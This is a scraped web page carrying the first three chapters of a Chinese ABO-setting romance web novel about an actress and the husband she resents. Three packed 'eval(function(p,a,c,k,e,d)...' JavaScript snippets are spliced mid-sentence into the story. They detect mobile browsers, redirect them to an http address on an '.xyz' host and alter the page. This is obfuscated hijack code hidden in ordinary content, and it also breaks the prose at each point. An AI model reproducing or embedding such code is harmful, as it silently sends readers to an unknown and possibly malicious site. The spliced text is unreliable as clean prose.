《卑微的霸总夫君[gb]》 1. 第 1 章 帝宫御花园,林木错落有致,各色花卉争奇斗艳,暗香浮动。 刚登上帝位,美艳绝伦的年轻女皇颜千澄,素手轻捻,取下一朵盛放的蔷薇。 气度雍容,举手投足间贵气天成,明黄的龙袍套在她身上相得益彰,好像她本来就该这样,站在整个大陆权力顶峰,手握生杀大权。 她微微一笑,将犹带露珠的花,插在身畔男Omega桑椹的鬓边。 手指莹润白皙,竟比娇艳的蔷薇还耐看几分。 黑眸专注地看着她的妃子,颜千澄正要说出台词,突然,桑椹软软跪了下来。 颜千澄微讶。 剧本上没有这一出啊。 只是给朵花而已,不至于要跪吧? 按原来的安排,这男O身为宠冠六宫的妃子,收到这点赏赐,只需福一福身就行了呀。 颜千澄神色未变,想着演员偶尔会灵光一闪,脱离剧本的桎梏,临场发挥一番。桑椹是两届影后得主,国际影坛上屈指可数的大牌,大概是突然想飚一下演技。 她回忆前后剧情,顺着对方的表演,紧急修改台词:“想当年,爱妃初入朕的王府时,跳脱闹腾得紧,如今倒是知礼了。” 含笑伸手扶起桑椹。 裙下之臣无数的知名男Omega美人,冰肌玉骨,身段纤弱,本该是轻盈的,这时候却有几分不自然的沉。 身子还在微微颤抖。 颜千澄定睛一看,桑椹脸颊羞红,眼神迷离。 颜千澄反应过来了。 原来,刚刚那一跪,不是表演,不是假装。 桑椹,他是……腿软了,软得撑不起身子,才会突然跪在她面前。 颜千澄压下心头尴尬,脸上不露分毫,暗中掐了一下桑椹的手臂,试图收拢他不知道飘到哪里去的魂魄。 桑椹好歹是两届影后,卷翘长睫颤动几下,回魂了。 “……臣侍……多年来……受陛下恩宠,如今,臣侍愿为陛下习礼守德,愿为陛下做任何事,以报陛下……” 见桑椹把戏接下去了,导演也没喊卡,颜千澄继续即场修改台词,三言两语,将剧情拖回正轨。 女皇宠妃深情对视。 接下来,是吻戏。 颜千澄抱着她的男O宠妃,一脸的温柔宠溺,如盛入夜光杯的陈年美酒般,香醇醉人。 桑椹还在腿软,全身软绵绵的,站都站不稳,颜千澄只好暗中使力托着他。 这不算什么,比较麻烦的是,桑椹后颈上的腺体,正隐隐散发出勾人的味道。 Omega每隔一段时间,会进入热潮期,释放出强烈的信息素。 信息素气味有极厉害的诱-惑作用,不仅会让Omega自己陷入意乱情迷任人宰割的状态,还会使周围的Alpha丧失理智,沦为欲-望的奴隶。 为维护社会秩序,法律规定,Omega自上小学起,就要上生理课,学习如何抑制热潮期躁动。 进入青春期后,政府会定期免费给他们发放抑制剂。 艳-情小说酷爱写Omega热潮期没打抑制剂,遇上Alpha后干柴烈火的桥段。 但其实在现实中,Omega一般挺自觉。 因为,Alpha可以完全标记无数个Omega,而Omega一生只能被一个Alpha完全标记,除非去做对身体伤害极大的完全标记去除术。 如果热潮期没打抑制剂,遇上一个人渣Alpha……那日后的悲惨可想而知。 在娱乐圈,颜千澄还是个新人,之前只拍过一部小成本网剧,大爆特爆后,被国际名导邀约,担任剧组主演。 她是第一次和桑椹这大腕合作,跟他不熟,不知道他是不是一个自觉的Omega,更不知他的周期。 今天这幕戏已演了大半,只剩下一点点片段,她正飞快考虑着要拍下去,还是喊停,桑椹主动仰起绯红的脸颊,痴痴呢喃:“陛下……亲臣侍……” 他暗中在颜千澄手臂上点了两下,表示自己现在的神志还是清醒的。 桑椹演的,是一个娇纵任性、感情强烈的Omega宠妃,动情时主动索-吻,虽然又脱离了剧本,却也在情理之中。 于是颜千澄一手环抱着桑椹的腰,扶稳他,免得他站不稳摔了,一手托起他的下巴。 桑椹闭上眼睛,眼睫颤动。 颜千澄唇压下,停在桑椹水润红唇上方半寸处。 颜千澄精确计算了摄影机的角度,这一下借位,天衣无缝。距离他们稍远的工作人员,都没发现这一吻没有吻实。 颜千澄有职业道德,从来不会借拍戏占其他演员便宜。 桑椹身子微微一僵。 Omega的信息素分泌,会受情绪影响。 桑椹后颈腺体,原本正分泌着信息素,一开始像毛毛细雨般轻浅飘洒,然后缓缓增多。 却突然中止了。 停顿片刻,信息素又猛地喷涌而出,越来越浓烈。 周围的Alpha工作人员骚动起来了。 离桑椹最近,刚跟他演了一场亲密戏的颜千澄,却像没事人一般,直起身子,稳稳将桑椹交给他的助理,指尖都没颤动半下。 等桑椹的团队护送他出去,片场恢复秩序,就来到监视器处,跟导演一起看回放,讨论刚刚的改动是不是合适。 认真完成工作后,颜千澄回到休息室。 意外地见到桑椹。 他已卸了妆,穿着一身时尚大牌,妩媚动人的眼眸正定定注视着她,一脸幽怨。 颜千澄赶紧感受了一下。 还好,空气中的信息素味道很淡,桑椹应该用过抑制剂了。 Omega的热潮期有个循序渐进的过程,即使没在热潮期来临前预先使用抑制剂,在初期尽快补上,仍有不错的效果。 如果拖到中期,药量要加倍。 拖到后期……那什么药都没用了,只能找个Alpha给个标记了。 桑椹的热潮期应该是刚刚来临,补上抑制剂就没事了,不会再影响他自己和周围的Alpha. 不过出于礼貌及对同事的关心,颜千澄还是问了一句:“你还好吧?” 桑椹眼波流转,瞧了一眼跟在颜千澄身后的团队。 妆发助理保镖们看看桑椹,又看看颜千澄,很有眼色地退出休息室,关上门。 “今天的事,是意外,我的热潮期原本还有几天才到的,”桑椹幽幽开口,“提前了,一想到要跟你……拍吻-戏,心里就乱糟糟的……” 还全身发软。 颜千澄尴尬。 颜千澄的好友曾说,她像一个催化剂,待在她方圆几公里内的Omega,热潮期都不正常了。 这当然是夸张,但比起其他Alpha,颜千澄确实更常碰到热潮期提前的Omega. 久经考验,对Omega信息素的抵抗力都提高了许多。 能让一般Alpha失控的信息素浓度,对她来说就是毛毛雨。 桑椹见颜千澄没接他的话,像是根本没听懂他的暗示,鼻头一酸,眼睛微湿,声音带上几分委屈:“我是童星出道,在圈子里好多年了,见过各种各样的Alpha,从来没试过像现在这样……” 被吸引,被俘虏。 毫无挣扎的余地。 他沦陷了。 可是,她呢? 她还稳如泰山! 待他这超级大美人,跟其他普普通通的工作人员完全一样!没有任何区别! 那时候,他信息素都被颜千澄引动出来了。 他暗暗期待着,渴望着。 结果! 颜千澄仍谨守职业道德,完美克制着自己! 只是借位,骗过摄像机,没有真的亲他! 明明如果颜千澄克制不住,真的亲下来了,他是不会怪她的! 明明法律规定,如果Omega因个人原因没有及时使用抑制剂,信息素外泄,导致Alpha失控,Alpha可以不负任何责任的! 可颜千澄居然能忍着不亲他! 那一刻桑椹心里的失落,简直无法形容。 其实,他本该是讨厌颜千澄的。 在颜千澄入行前,桑椹一直是公认的娱乐圈第一美人。 桑椹闲时曾想象过,等他老了,容颜衰退,头上长出白发,脸上长出皱纹的时候,“第一美人”称号,应该会被一个年轻的Omega后辈夺走吧。 是会有点失落啦,可到时候,他相信会有很多观众说:“唉,自来不许人间见白头啊,如果桑椹还年轻,这第一美人,哪轮得到别人来当……” 桑椹以前真是想破头也不会想到,在他还年轻,还青葱鲜嫩的时候,这“第一美人”称号,就被夺走了! 被一个Alpha夺走了! 人们都说,颜千澄的脸,是三百六十度无死角的美。 美得耀眼夺目,美得不像凡人。 虽然按理说,颜千澄是Alpha,桑椹是Omega,他们两人性别不同,受众不同,不该放一起比较。 可颜千澄都美得不像凡人了,已经超越了性别的限制,桑椹只是一介凡人,自然是比不上。 于是,颜千澄出道不久,“娱乐圈第一美人”称号,就归她了。 人们像颁安慰奖一般,改称桑椹为“娱乐圈最美Omega”。 桑椹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891481|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾怄得想吐三升血。 刚跟颜千澄合作时,桑椹想过要压一压她的风头。 可是,没想到啊没想到,在娱乐圈摸爬滚打多年,自以为已经修练出一身铠甲的他,一个月不到,就沦陷了。 唉,网上都说,一见颜千澄误终身,他不该不信这个邪。 桑椹满心幽怨,对上颜千澄尴尬歉意的目光时,心底又腾地升起一股不甘。 好不容易,才遇上能让自己动心的Alpha呢! 要努力争取! 桑椹在娱乐圈这大染缸混了多年,是混出几分心机。 但他毕竟是数量稀少珍贵的Omega,被法律法规和社会各阶层重重保护,见识不到真正的人间险恶。 又长了一张精致娇美的脸,去哪都能受到吹捧和优待。 因而,桑椹的心机,有是有,但不多。 他的努力争取,就是放下曾经“娱乐圈第一美人”的傲娇,卷翘长睫轻颤,一双美目雾水迷蒙:“千澄姐姐,我可以,做你的Omega吗?” 声音娇软柔媚,说出的话,却是直得不能再直的直球。 颜千澄原本已打好腹稿,准备委婉拒绝桑椹的,被这记直球堵了一下。 轻叹一声,只好说得直白些:“抱歉,我想你应该知道,我已经结婚了。” 桑椹看向颜千澄的无名指。 纤长的手指干干净净,没有戴戒指。 全世界都知道,颜千澄已经结婚了。 颜千澄性格磊落坦荡不虚伪,从来没有隐瞒过已婚的事实,每次有人问起,她都语调平淡地承认:“是的,我已经结婚了。” 但她从没戴过戒指。 穿上戏服拍戏时,自然不能戴。但她下戏卸妆后,也从来没戴过戒指。 从没在任何地方任何场合秀过恩爱。 甚至从不主动提起她的夫君。 仿佛她娶的,只是一团空气。 其中原因,全世界也知道。 听说,关氏集团总裁关景墨,从小就暗恋颜千澄,爱得卑微,卑微到尘埃里。 听说,那时候,关景墨热潮期,故意没打抑制剂,设计了颜千澄,然后……联合双方家长,逼她负责。 听说,颜千澄很讨厌关景墨,天天都想离婚,关景墨死活不肯…… 桑椹眨眨眼睛,点开手机屏幕,然后把手机递给颜千澄,声音里满是关心同情:“千澄姐姐,你看看这个。” 颜千澄一看,是网上一个著名论坛的热帖。 【昨天看了《人不要脸天下无敌——关某人上位记》,气得整晚睡不着,肝都疼了,这世上居然有那么jian的Omega,呜呜呜我可怜的澄澄】 【某人能不能爽快点跟千澄离婚,人家不喜欢你!Omega的脸都被你丢尽了,照照镜子,你配不起她】 【颜千澄肯娶他,只是为了让病重的祖母安心,等她祖母不在了,颜千澄肯定会立刻跟他离婚】 【希望澄澄早日遇上正缘,找到一个国色天香贤良淑德温柔贤惠好生养的好O】 【身为千澄的铁粉,我想说找伴侣,人品最重要,别的都是虚的】 【对对,求上天保佑澄澄,千万别再碰到像关某人那样的垃圾】 …… 颜千澄眸光微动。 那件事之后,她不想再看见关景墨,不想听任何人提及他。 任何跟关景墨有关的事,颜千澄都不愿沾一点边。 是真的不知道,网上骂关景墨骂得那么难听。 很多文字甚至无法正常显示出来,被屏蔽系统以口口口替代,不知道是怎样不文明的“问候”。 如果是别的人,受到这种待遇,颜千澄觉得,自己应该会同情他,甚至会想办法帮他一把。 但是。 颜千澄抿唇,眸光转冷。 总是听人说,她很完美,相貌气质家世才华等等各方面都是最优越的,还心地善良品格高尚…… 在世人眼中,她是一个好得不能再好的完美典范。 但颜千澄知道,自己并不是真的完美。 也从来没想过,要做一个完美的人。 不过一介凡人,怎可能完美? 心持正念,做人做事,尽力而为,无愧于心就好。 颜千澄知道,自己有缺点和阴暗面。 比如,不太宽容,不擅长原谅人。 她坦然接受自己的缺陷,不否认,不回避。 也不会去改。 因为这世上,曾重重伤害她,让她记仇,难以宽容的人,原本就不多。 到目前为止,除了已离世的,和已受到法律惩治的,就只剩关景墨一个人。 2. 第 2 章 “千澄姐姐,你不喜欢他的,是不是?”桑椹问。 思绪被打断,颜千澄看向桑椹,沉默。 对关景墨,她的确是不喜欢,甚至挺讨厌。 但与一个不太熟的外人,讨论自己的情感与婚姻,在背后说别人的坏话……也不是颜千澄的作风。 桑椹脸上三分义愤填膺,三分温婉同情,四分柔情期盼:“如果我是他,一定会知礼守德,会尊重千澄姐姐,才不会让千澄姐姐为难。” 桑椹决定走绿茶路线,听说绿茶挖墙脚成功率最高。 虽然他自小受人追捧,平日很多小脾气,学做绿茶有点难。 手上又没有绿茶剧本,没人写绿茶台词给他念。 不管了,自己好歹是个影后,一定能成为一个成功的绿茶! 桑椹暗暗握拳,给自己打气。 颜千澄黑眸幽深,定定注视着桑椹的眼睛。 桑椹只觉得,世界突然寂静了。 寂静之中,他听到自己的心脏“怦怦怦”的跳得厉害,震耳欲聋。 他失去了对时间的感知。 颜千澄看了他两秒钟,他却感受不出,这两秒钟,究竟算短暂,还是漫长。 然后。 “谢谢你对我的喜欢,”桑椹听见颜千澄的声音,声音里有不愿伤害他的温和,可更多的,是毫不含糊的坚定,“可是,很抱歉,我对你,只有同为演员的欣赏,并没有那样的情感。” “现在没有,将来也不会有。” 不留余地的拒绝。 接着,便是圆熟流畅,一听就知道,肯定是说过很多遍的拒绝套辞:“你是一个很好的Omega,会遇到懂得欣赏你的好伴侣的。” 桑椹听完,懵了好一会儿,才开始相信,自己是真的被拒绝了。 被拒绝了? 他!桑椹! 两届影后! 裙下之臣无数,曾经的娱乐圈第一美人! 虽然颜千澄真的很出色,他好像是有点配不上,但! 为什么颜千澄拒绝得那么干脆!考虑都不考虑一下的! 稍微说两句话骗骗他,让他当个见不得光的,不会影响她的地下情人,他也是愿意睁着眼睛装糊涂,被她骗的呀。 不是有很多Alpha和Beta这样干的吗?假装婚姻不幸,说早晚会离婚,骗人给他们当小三小四。 更何况,颜千澄是真的婚姻不幸,不是假装,在外面找个知音抚慰一下,完全可以理解的呀! 他是真的愿意啊! 能转正最好,可就算一辈子不转正,他都愿意啊! 为什么,颜千澄连这个都不考虑一下? 桑椹脑袋一片混乱。 裙下之臣无数,曾经的娱乐圈第一美人,竟然开始怀疑自己的魅力了。 颜千澄看穿了桑椹的想法:“你挺好的,真的,你是一个很美的Omega,只不过,不是我喜欢的类型。” 颜千澄对感情与亲密关系,向来很严肃很认真。 她有个纨绔父亲,仗着颜氏集团的财势,在车祸去世前,一直过着放浪形骸的生活。 她母亲骂他“香的臭的都往床上拉”,网上评论他“无论是Omega、Beta还是Alpha,无论是大家闺秀还是小家碧玉,都是颜氏太子爷的猎-艳目标”,“被完全标记的Omega也逃不了,他会砸钱押着人做完全标记去除术”,“不是风流,是下流”…… 颜氏太子爷为什么会长成那样,一直是教育专家、心理学家和网上各种评论家们津津乐道的话题。 据说,他身为颜氏那一代唯一的Alpha,各方面的能力却很平庸,根本无法驾驭颜氏集团这个庞然大物。 当时的颜氏集团掌舵人,也就是他的母亲,颜千澄的祖母颜龄,对他是恨铁不成钢,变着法子逼他学,但他怎么也学不会。 集团内部不服他,外面很多人讥笑他“除了性别,一无是处”。 于是,颜氏太子爷就自暴自弃了。 据说他原本有个红粉知己,彼此相爱。 后来,他要联姻。 联姻对象,也就是颜千澄的母亲,是大家族的Omega,出身高贵又长得美貌,自幼骄纵,眼睛里揉不进砂子。 她觉得,嫁一个出了名的废物,已经很委屈她了,看在废物是颜家继承人的份上,勉强能忍。 但那废物居然不高高捧着她,不时时围着她转,反而去爱一个什么都不如她的人? 她忍不了,设局害了他的知己。 之后,颜氏太子爷就到处找情人,一是为了气他的联姻妻子,二是想找跟他的知己相似的人做替身,聊以慰藉。 …… 人们分析来分析去,竟有人对他生出几分同情之心。 但无论颜千澄的父亲有再多的理由,对颜千澄来说,他对她的伤害,是切切实实的,永远无法弥补的。 颜千澄父母留给她的记忆里,没有任何爱与温暖。 只有三天两头的剧烈争吵。 父亲一个又一个燕瘦环肥的情人。 以及只顾着玩情人的父亲,和只顾着吵架的母亲,对她长期的忽视。 颜千澄讨厌父亲,不愿意成为他那样的人。 加上自小热爱电影戏剧,看过很多虚构的美好的爱情故事,颜千澄对恋爱婚姻的想法,不免有点理想主义与完美主义。 她以前一直希望,能遇到相知相爱的人生伴侣,彼此忠诚专一。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891482|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿得一人心,白首不相离(1)。 以前眼光高,见过各色美人,见过很多优秀出众的人中龙凤,可她一直没动心。 直到遇见喻君辞。 那个温和淡然,总是认认真真循规蹈矩的男Beta。 明明衣品不太好,看上去总有点土土的,但莫名的有着清风朗月气质的人。 当时颜千澄想,就是他了。 这二十年来,唯一走进她心里的人,她一定要好好珍惜,好好待他。 就算有再多人喜欢她,就算外面有再多诱惑,她也不会做对不起他的事。 今生今世,没有别人,只有喻君辞。 后来…… 跟关景墨的事,让颜千澄怨恨过,迷惘过,心如死灰过。 但也没让她从此堕落,变成她父亲那样放浪形骸游戏人生的人。 外界对颜千澄赞誉无数,赞她容貌出众,三百六十度无死角美得不像凡人;赞她品性高洁,出身高贵却总是谦逊自律,从不仗势欺人;赞她风度翩翩,待人温和有礼,让人如沐春风;赞她才华横溢,从小到大各科成绩都是甲等,未正式毕业就参与颜氏集团事务,经手过的项目都做得有声有色,如今转战娱乐圈,第一部电影就大爆特爆…… 颜千澄就读过的学校、颜氏集团、娱乐圈、网上各种论坛和评论区……每一天,都有很多很多颜千澄认识或不认识的人,变着花样称赞她。 但很少人知道,颜千澄最大的优点,是她极坚韧。 无论遭受怎样意想不到的打击,颜千澄也不会选择沉沦。 就算亲身经历命运的无常,就算见识到人世最黑暗最险恶的一面,颜千澄依旧爱惜自己,依旧愿意用真诚的善意对待周围一切,依旧会认真努力地过好生命中的每一天。 依旧会坚持自己的原则,绝不会变成自己曾经最讨厌最看不起的模样。 思绪转了一圈,颜千澄见桑椹还是一副深受打击魂不守舍的模样,想着该说的,她都说了,她并不擅长安慰Omega,而且现在这状况,她来安慰桑椹也不合适,只希望他能自己想明白,别影响接下来的工作吧。 于是颜千澄向桑椹说声“时间不早了,明天见”,就转身准备走了。 拉开休息室的门,颜千澄愣了一下。 门外,除了她的团队和桑椹的团队,还站着一个人。 这人,对颜千澄来说,既熟悉又陌生。 是不久前桑椹跟她提起过的,被网上很多很多人唾弃辱骂的,世人眼中,身为娇弱的Omega,却像一个反派Alpha一般,不要脸面不择手段追求财富权势的关氏集团董事长兼总裁,同时也是颜氏集团的新任总裁,她颜千澄名义上的夫君,关景墨。 3. 第 3 章 剧组今天是出外景,条件有限,只设了两个休息室。 一个休息室给剧组普通工作人员,另一个舒适豪华的给主演大牌们。 今天的戏份早已完成,剧组的人几乎都回附近宾馆休息了,休息室外面还有保镖守着,桑椹完全没想过,居然还会有个外人,在这种时候,站在他门外。 他大吃一惊,浮沉娱乐圈多年,一些反应已成为本能。 发生可能会影响他名誉的事件后,该怎样缓和场面,事后该跟谁联系商议,该怎样公关,怎样把事情压下来…… 瞬间,桑椹脑海里,很多设想已自动生成。 可没等设想真正成形,桑椹突然想:我,为什么,要瞒下这件事呢? 这念头如流星炸-弹般猛地砸下,将他脑海里一切纷纷扰扰通通击溃。 桑椹喜欢颜千澄。 很喜欢很喜欢。 这是桑椹第一次这样喜欢一个人。 就算被拒绝,他也没想过要放弃。 一点也不想放弃。 桑椹脑海里,感性的一半,把形象啊名声啊粉丝的反应啊理智道德啊都通通拨到一边,想大声通告全世界:“我!桑椹!好喜欢颜千澄!我想做她的Omega!” 理性的一半正要拼命阻止。 在看清来人的一瞬间,感性的一半和理性的一半,一起凝固住了。 这人,很眼熟。 五官端正,算不上丑,但气质偏硬朗,穿着一身剪裁合体的深色西装,系着领带,正式庄重,像个Alpha商务精英,完全没有一点Omega该有的温婉柔媚。 他是…… 桑椹脊背一僵,然后,挺得比任何时候都直,水润双唇紧紧抿起,双拳微握,摆出战斗姿势。 挖墙脚被正主撞见,一般人会感觉尴尬羞愧歉疚。 这些情绪,桑椹一开始也有,但很快就消散了。 因为,关景墨,他不配! 网上都说啊,他根本就配不上颜千澄! 他跟颜千澄的婚姻,是用不要脸的下流手段偷来的! 网上很多人,希望颜千澄早点跟他离婚,另外找个好Omega的! 看!颜千澄明显不喜欢他,一看到他,脸上惯常的礼貌微笑都消失了。 “你怎么来了?” 听!颜千澄跟他说话,语调平淡得跟凉掉的白开水一样! “我……来接你,一起去探望颜董。”关景墨低声答。 顿了顿,他赶紧接上一句:“我刚刚到,正想敲门。” 这话的意思是,他没偷听颜千澄和桑椹的对话。 身为Omega,却兼任两大集团总裁,位高权重的关景墨,一直站在原地没挪步。 只远远望了桑椹两眼,就没再看他。 也没看颜千澄。 说完话后,就微低着头,盯着地板。 桑椹惊讶。 虽然早就知道,关景墨这“正宫”当得不稳当,从来没把他放在眼里。 但关景墨现在的表现……也太卑微太窝囊了吧! 要是换成桑椹自己,发现有人觊觎他的Alpha,怎么也得优雅从容地走过去,多角度全方位秀秀自己的美貌,用“你到底哪来的自信跟我抢”的挑剔目光,从头到脚仔仔细细打量情敌,让情敌自惭形秽,然后拉着自己的Alpha花式秀恩爱,让情敌彻底死心,等回到家,再好好审问审问自己的Alpha,撒撒娇,要她保证永远爱自己…… 关景墨呢? 挖墙脚的桑椹没心虚,被表白的颜千澄没心虚。 他这个正宫,反倒成了最心虚的那个,一脸“我不是故意打扰你”的尴尬不自在。 颜千澄看向门外的保镖。 桑椹的保镖自知失职,惭愧地低着头。 刚刚那人来的时候,他们想过要拦啊,但那人一身气势,一看就是久居上位的人上人,不能随便得罪的。 他身后又跟着一串保镖,每个看起来都能打他们十个。 他们只拦过狂热粉丝和喝醉酒想占点小便宜的导演监制,哪见过这种人物? 只犹豫了一下,那人脚步生风,就走到门外了。 颜千澄的保镖都很尴尬。 他们也想过要拦下关景墨。 如果老板之前有明确吩咐“不要让任何人进来”,他们拼死也会把人拦下,不管那人是谁。 但老板坦坦荡荡,不像是要跟那Omega大明星,在休息室里干什么见不得人勾当的样子。 老板没吩咐,那该不该拦,就要他们自己判断了。 要是来的是别人,他们会拦,不让闲杂人等打扰她。 但来的是关景墨。 他们老板的合法配偶。 这……拦,还是不拦? 难死打工人了! 左右为难中,颜千澄先打开了门。 于是他们的老板夫妻,就这么尴尬地对上了。 桑椹看到众人神色,心里五味杂陈。 这,就是正宫吗? 就像电影里的皇后一样,就算不受宠,地位摆在那里,所有人都得让他三分? 哼。 桑椹不服。 关景墨他凭什么! 颜千澄不愿多说,微微点头,径直向停车场走去。 关景墨沉默着,跟在颜千澄身后。 两人一路无言,来到停车场。 关景墨带来接她的,是按最高标准定制的防弹车,坚固无比,堪比堡垒。 颜千澄觉得有点夸张,但对上关景墨,她实在没心情说话,默默上车,坐在后排。 司机将车子驶往颜氏集团旗下的高端疗养院。 车内,气氛沉凝,司机握紧方向盘,尽力降低自己的存在感。 颜千澄看着车窗外的风景,看了很久。 看累了,转头,望了一眼她名义上的配偶。 再豪华的车子,车内空间都不算大。 关景墨跟她坐在同一排,但关景墨坐得拘谨,挨着车门边,尽量离她远一点。 像是怕惹她厌烦。 颜千澄一时百感交集。 他们两人,到底是怎么走到现在这地步的呢? 颜千澄跟关景墨是多年同学。 小学、初中、高中、大学,他们都在同一个学校,同一个班。 这么多年下来,颜千澄觉得,在那件事之前,她跟关景墨,关系还行。 还行,就是点头之交,彼此间没有任何不愉快。 也谈不上亲近熟悉。 颜千澄从小就优秀耀眼,一直是学校里的风云人物。 她的交友范围很广,不局限于小小的一个班级。同年级其它班的同学、高年级的学长和低年级的师弟师妹,她认识很多很多人。 班上的同学,颜千澄自然都认识,但她精力太分散了,自然有不怎么熟的同学。 关景墨,就是颜千澄不怎么熟的同学之一。 关景墨小时候内向腼腆,从不主动跟人说话,跟谁都不熟。 后来,不知道他受了什么刺激,小小年纪,就开始参与他们关氏集团的事务,经常要请假,在学校的时间不多。 个性是变得开朗些了,开始交到一些朋友了。 但关景墨总是跟她保持着不远不近的距离。 有时候,颜千澄的视线不经意间落到关景墨身上,发现他在看她,不知道看了多久。 可两人视线一接触,关景墨就赶紧低头掩饰。 有时候,颜千澄看见关景墨跟别的同学有说有笑。 但关景墨一到她面前,又变回小时候内向腼腆的样子,从不多说半句话。 颜千澄的朋友说,关景墨肯定是暗恋她。 爱在心里,口难开,那种卑微苦恋。 颜千澄一直怀揣“愿得一人心,白首不相离(1)”的美丽梦想,不想背叛自己未来的爱人,也不愿旁人为自己伤心失落。 她一直有注意着,从来不说暧昧过界的话,从来不做什么会让人误会的事,尽量不招惹旁人的痴心。 但一直有很多很多人喜欢她。 颜千澄觉得,纯粹、真挚、发自内心的情感,不该被轻视被嘲笑。 应该得到温柔得体的回应。 颜千澄是真的很感谢一路以来得到的一份份的真心,一个个欣赏喜欢自己的人。 她觉得,自己对他们最好的回报与最温柔的回应,就是跟他们保持距离,不给他们不切实际的希望。 本来,因为关景墨的敬而远之,颜千澄就跟他不熟。 发现关景墨疑似喜欢她后,颜千澄主动保持了距离。 关景墨不是她喜欢的类型。 她是不可能喜欢他的。 她希望关景墨早点放下这份感情,找到属于自己的幸福。 于是,颜千澄跟关景墨当了十几年的同班同学,一直是见面打声招呼,话也不会多说半句的疏远客气的关系。 后来…… 半年前,颜千澄大学刚毕业,父母突然意外逝世。 据说当时颜千澄的父亲开跑车带情人兜风,刚好碰到颜千澄的母亲。 颜千澄母亲气愤之下,跑去截停他们,把情人赶下车,自己爬上副驾驶位,骂颜千澄的父亲:“你这废物,什么都不会,本来就配不上我了,居然还敢找那么多情人,我真是瞎了眼才嫁给你,你害我这辈子全毁了……” 颜千澄父亲骂:“谁让你爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891483|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕虚荣,你图的又不是我,是颜氏集团,当我不知道么?” 两人争执起来,哪句话难听,就拿哪句话往对方心窝里戳。 吵着吵着,颜千澄父亲突然猛踩油门,狠狠一转方向盘。 奢华的跑车,载着争吵了半生的一对夫妻,冲出围栏,掉进高架桥下翻涌的江水中。 两个从不知活着是为了什么的蒙昧灵魂,连带着多年来的不甘与怨恨,一切一切,都痛苦地被流水淹没埋葬。 事故传出,舆论大哗。 有人奇怪,颜氏集团的太子爷,向来只敢欺压无权无势的普通人,对自己一直爱惜得紧,受一丁点小伤都要哇哇叫的,怎么突然那么冲动,像被鬼附身一样。 有人感叹,发生这种恶性.事故,除了当事人和他的配偶,居然无人伤亡。太子爷的情人、当时的来往路人、以及在江边玩沙子的一群孩子真是幸运。 有人拿这事教育自家孩子,告诫Alpha们,要控制好自己的情绪,不要冲动,告诫Omega们,不要刺激盛怒中的Alpha,保命要紧。 …… 颜千澄的祖母,当时的颜氏集团董事长兼总裁颜龄年事已高,听到噩耗,一下子就病倒了。 醒来后,她在病榻中,将庞大的颜氏集团交给颜千澄。 乍逢巨变,颜千澄要处理父母的后事,要照顾病重的祖母,要安抚颜氏集团内部和外面众多合作伙伴…… 就算她身为Alpha,一向精力充沛,也被接踵而来的桩桩件件,弄得心力交瘁。 当时,关氏集团周年庆典,颜千澄作为颜氏集团的代表参加。 中途,她感觉头有点晕,就离开宴会厅,想休息一下。 她是贵客,关氏集团为她准备了专用的休息室。 心乱,身体不舒服,颜千澄想自己一个人静静,就让保镖们去正门外守着。 正坐在松软的真皮沙发上,揉着太阳穴,喝了点水,突然,有人从侧门进来。 颜千澄心头一凛。 原来这休息室有侧门! 侧门跟周围墙壁的装饰融为一体,她刚刚头晕眼花,都没发现。 来人挺面熟的,是她多年同学关景墨。 颜千澄不悦,他这样的出现方式,是不是有点失礼? 偷偷摸摸混来她身边,是想干什么? “你……”正要质问,关景墨急急打断她:“千澄,快走!” 颜千澄奇怪,但看到关景墨一脸焦急,就先不多问,站起身。 头正晕着,起得急,身子一晃。 关景墨年少成名,掌控关氏集团多年,本已养成泰山崩于前不动声色的沉稳性子。 可一见颜千澄状态不对,他像是慌了手脚,匆匆忙忙跑过来扶她,语无伦次地喊:“起效了吗?不应该啊,不是未到时间吗?千澄,千澄,你感觉怎样?” 颜千澄本来没觉得怎样,只是过度疲劳引发的头晕头疼而已,再休息一会儿就能恢复的。 正要推开关景墨,突然,颜千澄感觉心脏骤然一紧。 紧接着,心脏“怦怦怦怦”猛跳,气血翻涌,全身在发热,每个细胞都在极速膨胀,疯狂叫嚣。 这感觉,像是被Omega的信息素诱惑了。 可是,她一向对Omega的信息素有抵抗力的啊。 曾经有Omega想引诱颜千澄,故意没打抑制剂,拖到热潮期中期,然后跌跌撞撞地扑到颜千澄面前。 瞬间,铺天盖地的Omega信息素包围了颜千澄。 可这足以令一般Alpha丧失理智的量,对颜千澄来说,只跟喝了两杯小酒一样,身体是有些发热,理智还在。 颜千澄尊敬纯粹真挚的感情,感恩每一个真心爱她的人。 但这样设计引诱她,只看重自己的私欲,不顾他人意愿的行为,显然跟“纯粹真挚”与“真心”搭不上边。 